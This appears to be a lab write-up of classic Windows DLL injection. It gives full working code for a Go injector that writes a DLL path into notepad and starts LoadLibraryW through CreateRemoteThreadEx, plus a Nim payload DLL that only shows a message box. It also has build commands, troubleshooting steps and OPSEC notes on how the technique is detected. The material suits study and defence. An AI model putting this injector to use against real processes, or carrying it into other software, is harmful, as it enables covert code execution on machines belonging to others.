Overview
A classic DLL injection using a Go injector and a Nim payload DLL. The injector opens a handle to the target process, allocates memory inside it, writes the DLL path, and creates a remote thread pointing at LoadLibraryW. On load, DllMain fires and runs the payload directly.
Environment
- Target: Windows Server 2025 Datacenter VM
- Go: 1.23+
- Nim: 2.4.0
- Winim: lean import
- Target process: notepad.exe
- Repo: * WinGoPlayground
Attack Chain
- Compile Nim payload as a DLL with static linking
- Build Go injector
- Launch target process (notepad.exe)
- Run injector with target PID
- Injector writes DLL path into target memory and calls
LoadLibraryWviaCreateRemoteThreadEx - DLL loads,
DllMainfires, payload runs
How It Works
DLL injection works by forcing a target process to load a DLL it never asked for. Windows provides LoadLibraryW — a function that takes a path string and loads a DLL into the calling process. The trick is making the target call it with our DLL path as the argument.
The injector follows four steps:
- Open a handle to the target with the minimum permissions needed — allocate memory, write memory, create a thread
- Allocate a memory region inside the target process to hold the DLL path string
- Write the DLL path as a UTF-16 wide string into that region
- Spawn a remote thread inside the target with
LoadLibraryWas the start function and the allocated path address as its argument
Windows executes LoadLibraryW(dllPath) inside notepad. The DLL loads, DllMain fires, payload runs.
Go Injector — main.go
package main
import (
"fmt"
"golang.org/x/sys/windows"
"os"
"strconv"
"unsafe"
)
func main() {
if len(os.Args) < 2 {
fmt.Printf("PID not provided. Usage: dllinject.exe <PID>\n")
os.Exit(1)
}
pid, err := strconv.ParseUint(os.Args[1], 10, 32)
if err != nil {
fmt.Printf("Invalid PID: %v\n", err)
os.Exit(1)
}
pid32 := uint32(pid)
kernel32dll := windows.NewLazyDLL("kernel32.dll")
pGetModuleHandleW := kernel32dll.NewProc("GetModuleHandleW")
hKernel32, _, _ := pGetModuleHandleW.Call(uintptr(unsafe.Pointer(windows.StringToUTF16Ptr("kernel32.dll"))))
fmt.Printf("Got {%v} handle to kernel32!\n", hKernel32)
dllPath := "C:\\Users\\Administrator\\mdev\\dllInject\\winregx64.dll"
dllUTF16, err := windows.UTF16FromString(dllPath)
if err != nil {
fmt.Printf("Failed to convert path: %v\n", err)
os.Exit(1)
}
dllSize := uintptr(len(dllUTF16) * 2)
// Open target process with minimum permissions needed for injection:
// VM_OPERATION + VM_WRITE to allocate and write memory, CREATE_THREAD to spawn the remote thread
pOpenProcess := kernel32dll.NewProc("OpenProcess")
minPerms := uint32(windows.PROCESS_VM_OPERATION |
windows.PROCESS_VM_WRITE |
windows.PROCESS_CREATE_THREAD)
hProcess, _, errOpen := pOpenProcess.Call(uintptr(minPerms), uintptr(0), uintptr(pid32))
if hProcess == 0 {
fmt.Printf("OpenProcess failed: %v\n", errOpen)
os.Exit(1)
}
defer windows.CloseHandle(windows.Handle(hProcess))
// Allocate a RW memory region inside the target process to hold the DLL path string
pVirtualAllocEx := kernel32dll.NewProc("VirtualAllocEx")
rAddr, _, errAlloc := pVirtualAllocEx.Call(
hProcess,
uintptr(0),
dllSize,
uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
uintptr(windows.PAGE_READWRITE))
if rAddr == 0 {
fmt.Printf("VirtualAllocEx failed: %v\n", errAlloc)
os.Exit(1)
}
// Write the DLL path as a UTF-16 wide string into the allocated region
pWriteProcessMemory := kernel32dll.NewProc("WriteProcessMemory")
rWrite, _, errWrite := pWriteProcessMemory.Call(
uintptr(hProcess),
rAddr,
uintptr(unsafe.Pointer(&dllUTF16[0])),
dllSize,
uintptr(0),
)
if rWrite == 0 {
fmt.Printf("WriteProcessMemory failed: %v\n", errWrite)
os.Exit(1)
}
pLoadLibraryW := kernel32dll.NewProc("LoadLibraryW")
pCreateRemoteThreadEx := kernel32dll.NewProc("CreateRemoteThreadEx")
var tid uint32
// Spawn a thread in the target using LoadLibraryW as the entry point and rAddr as its argument.
// Windows calls LoadLibraryW(dllPath) inside notepad — the DLL loads, DllMain fires.
hThread, _, errT := pCreateRemoteThreadEx.Call(
hProcess,
uintptr(0),
uintptr(0),
pLoadLibraryW.Addr(), // thread start function
rAddr, // argument: pointer to DLL path string
uintptr(0),
uintptr(0),
uintptr(unsafe.Pointer(&tid)),
)
if hThread == 0 {
fmt.Printf("CreateRemoteThreadEx failed: %v\n", errT)
os.Exit(1)
}
defer windows.CloseHandle(windows.Handle(hThread))
fmt.Printf("DLL Inject: Ok! TID: %v\n", tid)
// Wait up to 5s for LoadLibraryW to finish — WAIT_OBJECT_0 (0) on success
event, errWait := windows.WaitForSingleObject(windows.Handle(hThread), 5000)
if errWait != nil {
fmt.Printf("WaitForSingleObject: %v\n", errWait)
}
fmt.Printf("Event Created: %v\n", event)
}
Nim Payload DLL — winregx64.nim
import winim/lean
proc NimMain() {.cdecl, importc.}
proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpReserved: LPVOID): BOOL {.stdcall, exportc, dynlib.} =
NimMain()
if fdwReason == DLL_PROCESS_ATTACH:
MessageBox(0, "Successful DLL Injection via Nim", "DLL Inject", 0)
return true
Note: The payload runs directly in
DllMainhere — fine for a one-shot call likeMessageBox. For anything blocking (loops, sleep, network), spawn a thread fromDllMaininstead to avoid deadlocking the target process.
Build Commands
Compile Nim DLL
nim c --app:lib --cpu:amd64 --mm:arc --nomain -d:release --passL:-static -o:winregx64.dll winregx64.nim
Build Go injector
go build -trimpath -ldflags="-s -w" -o dllInject.exe .\main.go
Run
tasklist | findstr notepad
.\dllInject.exe <PID>
Expected Output
A successful run looks like this:
Event Created: 0 is WAIT_OBJECT_0 — the thread completed within the timeout. A MessageBox appears in the notepad window on the desktop.
Troubleshooting — Issues Hit
LoadLibraryW returning 0x0
Symptom: Injector reports successful thread creation but DLL never loads. GetExitCodeThread returns 0x0.
Root cause: Nim compiled the DLL with a dynamic dependency on libgcc_s_seh-1.dll (MinGW runtime). This file exists on the dev machine but not in notepad's process PATH. Windows silently fails the load.
Diagnosis:
objdump -p .\winregx64.dll | findstr "DLL Name"
Revealed libgcc_s_seh-1.dll as a dependency.
Fix: Add --passL:-static to the Nim compile command to statically link all runtime dependencies into the DLL.
Key Concepts
The loader lock — running directly vs spawning a thread
DllMain runs while Windows holds the loader lock — a global mutex that serializes DLL loading. Any blocking call made directly inside DllMain (sleep, network, waiting on a handle) will deadlock the entire target process. In this example the payload runs directly — fine for a quick one-shot call. For anything blocking — sleep, network, loops — spawn a thread from DllMain instead.
WaitForSingleObject returning 0
0 = WAIT_OBJECT_0 — the thread completed within the timeout. This is success, not an error.
Static linking for injected DLLs
Injected DLLs run in a foreign process with an unpredictable environment. Never rely on the target having MinGW or any other runtime dependency available. Always compile with --passL:-static so the DLL is fully self-contained.
OPSEC Notes
-
CreateRemoteThreadExpointing atLoadLibraryWis a well-known and heavily monitored injection pattern - The spawned payload thread has no associated module name — visible in process listings
- DLL path written as a plain wide string in the target process memory — readable in a memory dump

Top comments (0)